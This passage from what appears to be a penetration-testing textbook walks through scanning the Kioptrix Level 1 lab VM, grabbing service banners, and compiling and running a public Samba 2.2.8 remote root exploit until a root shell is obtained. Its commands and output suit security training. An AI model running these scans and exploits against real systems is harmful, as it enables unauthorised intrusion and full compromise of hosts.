At this point, we should have two systems ready to go in our virtual environment:
- Our Kioptrix Level 1 machine, which will be our target
- Our Kali machine, which will be taking on the role of an attacker
Before we can start with exploitation, we need to determine our plan of attack. An example of our environment is shown in the following image:
We will begin by locating the machine on our network using Nmap. Open up a new terminal session and type:
nmap -f -n -P0 -v -p- -T4 192.168.75.0/24
We instructed Nmap to scan all TCP ports for IPs on 192.168.75.X using fragmented packets. Here is an excerpt of the results:
Scanning 192.168.75.14 [65535 ports] Discovered open port 139/tcp on 192.168.75.14 Discovered open port 80/tcp on 192.168.75.14 Discovered open port 22/tcp on 192.168.75.14 Discovered open port 443/tcp on 192.168.75.14 Discovered open port 111/tcp on 192.168.75.14 Discovered open port 32768/tcp on 192.168.75.14 Completed SYN Stealth Scan at 10:24, 8.05s elapsed (65535 total ports) Nmap scan report for 192.168.75.14 Host is up (0.00017s latency). Not shown: 65529 closed ports PORT STATE SERVICE 22/tcpopen ssh 80/tcpopen http 111/tcpopen rpcbind 139/tcpopen netbios-ssn 443/tcpopen https 32768/tcpopen filenet-tms MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems) Read data files from: /usr/local/bin/../share/nmap Nmap done: 256 IP addresses (3 hosts up) scanned in 202.60 seconds Raw packets sent: 262797 (11.555MB) | Rcvd: 131203 (5.249MB)
Take a look at the highlighted section. You will notice that our target machine has several open TCP ports – 22, 80, 111, 139, 443, and 32768.
Now we know that the system is up and the results indicate that several services are running, we have many choices. We can use Netcat or another similar program to manually probe these ports to get more information and possibly grab some banners, or we can start by performing a more thorough scan on the target machine in question.
Keep in mind that there are many available options to consider when choosing tools. Unicorn scan is a very fast scanner that can quickly scan the virtual lab for us. If your version of Kali does not have unicornscan installed, use the following command syntax: apt-get install unicornscan before attempting any of the following examples.
The following command will scan all TCP ports (-mT which is the default scan type) on the 192.168.75.0/24 segment using 500 packets per second (-r500). We instructed the command to provide us with information as it is received with the (-I) option:
# unicornscan -mT -r500 -I 192.168.75.0/24
This results in the following:
TCP open 192.168.75.14:32768 ttl 64 TCP open 192.168.75.14:22 ttl 64 TCP open 192.168.75.14:443 ttl 64 TCP open 192.168.75.14:139 ttl 64 TCP open 192.168.75.14:80 ttl 64 TCP open 192.168.75.2:80 ttl 64 TCP open 192.168.75.2:53 ttl 64 TCP open 192.168.75.14:111 ttl 64 TCP open domain[ 53] from 192.168.75.2 ttl 64 TCP open http[ 80] from 192.168.75.2 ttl 64 TCP open ssh[ 22] from 192.168.75.14 ttl 64 TCP open http[ 80] from 192.168.75.14 ttl 64 TCP open sunrpc[ 111] from 192.168.75.14 ttl 64 TCP open netbios-ssn[ 139] from 192.168.75.14 ttl 64 TCP open https[ 443] from 192.168.75.14 ttl 64 TCP open filenet-tms[32768] from 192.168.75.14 ttl 64
We can also scan for open UDP ports to complete the picture:
# unicornscan -mU -r500 -I 192.168.75.0/24
This results in the following output on this particular virtual network (your scan results will vary based on your current lab setup):
UDP open 192.168.75.2:53 ttl 64 UDP open 192.168.75.255:53 ttl 64 UDP open 192.168.75.2:161 ttl 64 UDP open 192.168.75.14:32768 ttl 64 UDP open 192.168.75.14:137 ttl 64 UDP open 192.168.75.14:111 ttl 64 UDP open domain[ 53] from 192.168.75.2 ttl 64 UDP open snmp[ 161] from 192.168.75.2 ttl 64 UDP open sunrpc[ 111] from 192.168.75.14 ttl 64 UDP open netbios-ns[ 137] from 192.168.75.14 ttl 64 UDP open filenet-tms[32768] from 192.168.75.14 ttl 64 UDP open domain[ 53] from 192.168.75.255 ttl 64
Review the highlighted results from the previous output carefully. This information will be used to determine which attacks are performed against the targeted system.
Now that we know which system we will be targeting, let's find out what a targeted Nmap scan will provide for us:
# nmap -n -sTUV -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14
Here, we decided to go with a UDP and TCP scan of our open ports to determine their STATE.
- We use the
-sTUVswitch to notifyNmapthat we are looking for UDP and TCP and provide software versions. - We then specify the range using the
-poption followed by the ports we would like to scan.U:designates that the ports are UDP.
Here is the output:
Starting Nmap6.49BETA4( https://nmap.org ) at 2015-08-02 11:27 EST Nmap scan report for 192.168.75.14 Host is up (0.00089s latency). PORT STATE SERVICE VERSION 22/tcp open sshOpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) 111/tc popen rpcbind 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) 32768/tcp open rpcbind 111/udp open rpcbind 137/udp open netbios-ns Microsoft Windows XP netbios-ssn 32768/udp open rpcbind MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems) Service Info: Host: KIOPTRIX; OS: Windows Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.14 seconds
Now, we have something that we can work with. We know which ports are open and have a good idea of which services are running.
If you review the results, you may note that there are many outdated services running on this machine. We will take advantage of this fact and use commonly known exploits to compromise the unit. We may want to manually validate these results. We will try to grab some banners now to see what we are dealing with.
Netcat is a very powerful tool that can be used during the enumeration and exploitation stages and can even be used to transfer files or to create backdoors.
We also compare Netcat to Ncat, which is one of the offerings provided by the Nmap team.
In order to connect to port 80 on 192.168.75.14, we can use the following command:
# nc 192.168.75.14 80
This will connect us to the web server on the Kioptrix machine. We need to invoke a command to receive informational output. Type the following:
HEAD / HTTP 1.1
Press Enter twice and take a look at the output:
HTTP/1.1 200 OK Date: Sun, 02 Aug 2015 21:19:49 GMT Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT ETag: "8805-b4a-3b96e9ae" Accept-Ranges: bytes Content-Length: 2890 Connection: close Content-Type: text/html
This should look familiar. We already discussed the benefits of HTTP headers; the preceding information indicates that the machine is running Apache 1.3.20, RedHat Linux, using mod_ssl Version 2.8.4 and OpenSSL Version 0.9.6b.
This process can be continued with the other ports as well.
Ncat can also be used to grab the http banner. This is how you do it:
# ncat 192.168.75.14 80
Ncat uses the same syntax as Netcat for this connection. Type the following and press Enter twice:
HEAD / HTTP 1.1
We are presented with the following output:
HTTP/1.1 200 OK Date: Sun, 02 Aug 2015 21:50:53 GMT Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT ETag: "8805-b4a-3b96e9ae" Accept-Ranges: bytes Content-Length: 2890 Connection: close Content-Type: text/html
A quick search for mod_ssl/2.8.4 on the Internet will indicate there are vulnerabilities that we could take advantage of.
One particularly interesting port that stands out is 139/TCP. With the smbclient tool, we can grab the banner of this server. Let's give it a try:
# smbclient -L 192.168.75.14 -N
This command invokes smbclient and directs it to connect to 192.168.75.14 to then display the server information. The -N switch indicates that we do not have a root password for this connection. This results in the following output:
Anonymous login successful Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a] Sharename Type Comment --------- ---- ------- cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe srvsvc failed with error ERRnosupport IPC$ IPCIPC Service (Samba Server) ADMIN$ Disk IPC Service (Samba Server) Anonymous login successful Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a] Server Comment --------- ------- KIOPTRIX Samba Server Workgroup Master --------- ------- MYGROUP KIOPTRIX
Note that the Samba version is 2.2.1a. We will use this information to search for any known exploits for this service.
At https://www.exploit-db.com/ you will be able to find a wealth of information about known vulnerabilities and the proof-of-concept code that validates their effectiveness. Using the proof-of-concept code, which is made available, allows you to determine if your particular software is susceptible to these attacks. Proof-of-concept code also provides a mechanism to understand the underlying principles of individual vulnerabilities, thereby enabling you to ensure that your mitigating controls are functioning properly. The team at Exploit Database spend many hours of their personal time ensuring that the submitted proof-of-concept code actually works as described.
Tip
If you are attempting to access this website from within your sandboxed virtual lab, you will need to make sure you have a network adapter set up on your Kali box that allows for this. It is recommended that you do not connect your lab to the Internet in any fashion however. There are several secure methods of transferring files to your guest machine—try them out!
Let's perform a search for vulnerabilities associated with Samba version 2.2.1a.
- Go to https://www.exploit-db.com/.
- Click on
Searchin the top navigation bar. - Once on the search page, click on Advanced Search and enter samba in the Exploit Content field.
- Type 139 in the Port: field.
- Click on the SEARCH button.
An example of the results from this is shown in the following image:
One really awesome aspect of using Kali is that the team automatically includes a local copy of the exploit-db.com database as part of the distribution. Enter the searchsploit command followed by the search term:
# searchsploit samba
This results in the following output:
Description Path
-------------------------------------------------------------
Samba 2.2.x Remote Root Buffer Overflow Exploit/linux/remote/7.pl
Samba 2.2.8 Remote Root Exploit - sambal.c /linux/remote/10.c
Samba 2.2.8 (Bruteforce Method) Remote Root Exploit/linux/remote/55.c
MS Windows XP/2003 Samba Share Resource Exhaustion Exploit /windows/dos/148.sh
Samba <= 3.0.4 SWAT Authorization Buffer Overflow Exploit /linux/remote/364.pl
Sambar FTP Server 6.4 (SIZE) Remote Denial of Service Exploit /windows/dos/2934.php
GoSamba 1.0.1 (include_path) Multiple RFI Vulnerabilities /php/webapps/4575.txt
Samba 3.0.27asend_mailslot() Remote Buffer Overflow PoC /linux/dos/4732.c
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC /multiple/dos/5712.pl
Samba (client) receive_smb_raw() Buffer Overflow Vulnerability PoC /multiple/dos/5712.pl
Samba < 3.0.20 Remote Heap Overflow Exploit (oldie but goodie) /linux/remote/7701.txt
Samba 2.2.0 - 2.2.8 trans2open Overflow (OS X)/osX/remote/9924.rb
Samba 2.2.xnttrans Overflow /linux/remote/9936.rb
Samba 3.0.21-3.0.24 LSA trans names Heap Overflow /linux/remote/9950.rb
Samba 3.0.10 - 3.3.5 Format String And Security Bypass Vulnerabilities /multiple/remote/10095.txt
Samba Multiple DoS Vulnerabilities/linux/dos/12588.txt
Samba ""username map script"" Command Execution /unix/remote/16320.rb
Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow /linux/remote/16321.rb
Samba lsa_io_trans_names Heap Overflow /solaris/remote/16329.rb
Samba trans2open Overflow (Solaris SPARC) /solaris/sparc/remote/16330.rb
Sambar 6 Search Results Buffer Overflow /windows/remote/16756.rb
Samba lsa_io_trans_names Heap Overflow /linux/remote/16859.rb
Samba chain_reply Memory Corruption (Linux x86) /linux/remote/16860.rb
Samba trans2open Overflow (Linux x86) /linux/remote/16861.rb
Samba lsa_io_trans_names Heap Overflow /osX/remote/16875.rb
Samba trans2open Overflow (Mac OS X PPC) /os-x/ppc/remote/16876.rb
Samba trans2open Overflow (*BSD x86) /linux/remote/16880.rbWe will try Samba 2.2.8 Remote Root Exploit - samba1.c located at /linux/remote/10.c. This particular exploit has been coded using the C language and as such must be compiled prior to use.
# cp /usr/share/exploitdb/platforms/linux/remote/10.c /opt/10.c
This command will copy the file to our directory of choice, /opt in this case, making it easier to work with. There may be times when the file will immediately compile; in which case, you can simply move on to the next stage.
Tip
Be cautious!
It is critical that you understand the code you are compiling. At this point, we are testing against a confined lab environment, but when it it's time to start performing these tasks in a setting that is connected to the outside world, it is crucial that the code is both clean and from a trusted source. You should understand every stage of the exploit code before you try it against someone else's network. Many agree that the best thing is to create your own shellcode for manual exploitation so that you know exactly what will happen when you run it. Before throwing this type of code at a live production unit, test it out in your own contained virtual environment to fully understand the impact of the code you are running—especially if your exploit of choice includes shellcode.
Here, we will try to compile 10.c without any modification after reviewing the code. The steps performed here are similar for each type of exploit code that has been written using the C language.
# vim 10.c
Review this code. Scroll through it and see if you can understand what will happen when this code is run.
Tip
If you are not familiar with VIM, there are several sites that offer a great review of this complex yet powerful tool. Packt Publishing also has Hacking Vim 7.2 available for purchase if you want to learn much more about it in a concise, practical manner. For now, when you are in VIM, you can use :q to exit back to the shell prompt.
An example of the file open in the VIM tool is shown in the following image:
Once the code has been reviewed, try to compile it. Exit out of VIM using the :q command sequence and type the following at the command prompt:
# gcc 10.c -o SambaVuln10
We are invoking the GCC compiler and feeding our 10.c source code file to be processed and its output written to the SambaVuln10 file. If everything works as planned, you will not receive any feedback and the command prompt will be shown.
Tip
Some believe that the difficulty of compiling a proof of concept exploit will reduce the number of script kiddies that are out there as they lack the skills to troubleshoot the code.
Some security researchers may even add intentional errors such as typos to discourage script kiddies from putting the proof of concept code to malicious use.
If you have any problems with the compiling, you will need to take a closer look at the code and work out the issues before it will compile properly.
The types of errors that you may come across include code that has improper commenting, extra characters, invalid formatting, or even invalid code intentionally entered into the code to make it more difficult for someone new to compiling.
Let's take a look at a common problem that seems to occur when using code directly from a repository.
You may look at your code and realize that you have a few (or many!) unwanted characters such as ^M, and regardless of your efforts, they will just not go away.
You can use VIM to solve this problem for you by opening your offending file in VIM and typing :%s/, pressing Ctrl + V then Ctrl + M, followed by //g, which results in the following.
:%s/^M//g
Then press Enter. This instructs VIM to remove all occurrences of ^M in the entire file (%s). Here is an example of what we will be removing using this command:
At times, the code will be formatted incorrectly. It is important to note that this will make it very difficult for GCC to process. Go through the code and ensure that everything is as it should be. In most cases, all of the C code statements need to be on one line.
Once the code has been reviewed and errors have been corrected, try to compile it again until there are no further errors.
Hopefully, the previous step was rather painless; cleaning up code that others made available can be a cumbersome process. If the exploit code is compiled properly, we can simply execute it to see what other inputs are expected:
# ./SambaVuln10
The output of this command is as follows:
samba-2.2.8< remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- Usage: ./SambaVuln10 [-bBcCdfprsStv] [host] -b <platform>bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2) -B <step>bruteforce steps (default = 300) -c <ip address>connectbackip address -C <max childs> max childs for scan/bruteforce mode (default = 40) -d <delay>bruteforce/scanmode delay in micro seconds (default = 100000) -f force -p <port> port to attack (default = 139) -r <ret> return address -s scan mode (random) -S <network> scan mode -t <type> presets (0 for a list) -v verbose mode
We know several key items about our target machine already, including that it is most likely running Linux and that the IP address is 192.168.75.14. Let's use the scanning mode of the exploit to see if there is anything interesting we missed:
./SambaVuln10 -v -b 0 -S 192.168.75 Samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- + Scan mode. + Verbose mode. + [192.168.75.14] Samba
We can see that our target machine is found by the proof-of-concept remote root exploit by eSDee. Now, we will move forward and finally exploit the machine.
# ./SambaVuln10 -b 0 -v 192.168.75.14
We invoke the SambaVuln10 file, let it know that the target system is Linux, and instruct it to display verbose results. The output is as follows:
samba-2.2.8< remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- + Verbose mode. + Bruteforce mode. (Linux) + Host is running samba. + Using ret: [0xbffffed4] + Using ret: [0xbffffda8] + Using ret: [0xbffffc7c] + Using ret: [0xbffffb50] + Worked! -------------------------------------------------------------- *** JE MOET JE MUIL HOUWE Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=99(nobody)
If you are new to pentesting, this output may be a bit confusing. You have just managed to gain root access on the target machine and, at this point, can begin many of the post-exploitation steps that are usually required to get a good foothold in the network. You will notice that some commands do not work and some do.
Try the following:
# ls
Hmm… nothing happens. Maybe you did not actually get root? Let's try something different.
# cd / # ls
That's more like it! Now you should see a full directory listing of /.
bin boot dead.letter dev etc home initrd lib lost+found misc mnt opt proc root sbin tmp usr var
There are many other commands that you can use at this time, and there are tricks of the trade in post-exploitation that we will dedicate an entire chapter to. Before we move on, we will perform one more check to see if there was anything interesting on this machine:
Who are you on this machine anyhow?
whoami root
What system am I connected to?
hostname kioptrix.level1 lastlog
Who has logged on to this system and when?
Username Port From Latest root pts/0 192.168.1.200 Mon Oct 12 07:27:46 -0400 2009 bin **Never logged in** daemon **Never logged in** adm **Never logged in** lp **Never logged in** sync **Never logged in** shutdown **Never logged in** halt **Never logged in** mail **Never logged in** news **Never logged in** uucp **Never logged in** operator **Never logged in** games **Never logged in** gopher **Never logged in** ftp **Never logged in** nobody **Never logged in** mailnull **Never logged in** rpm **Never logged in** xfs **Never logged in** rpc **Never logged in** rpcuser **Never logged in** nfsnobody **Never logged in** nscd **Never logged in** ident **Never logged in** radvd **Never logged in** postgres **Never logged in** apache **Never logged in** squid **Never logged in** pcap **Never logged in** john pts/0 192.168.1.100 Sat Sep 26 11:32:02 -0400 2009 harold **Never logged in**
As you probably already know, the fact that an attacker could get root on this machine by running this simple proof of concept code is a major problem. You should recommend that your client update all installed software to the latest version possible to avoid such simple compromises.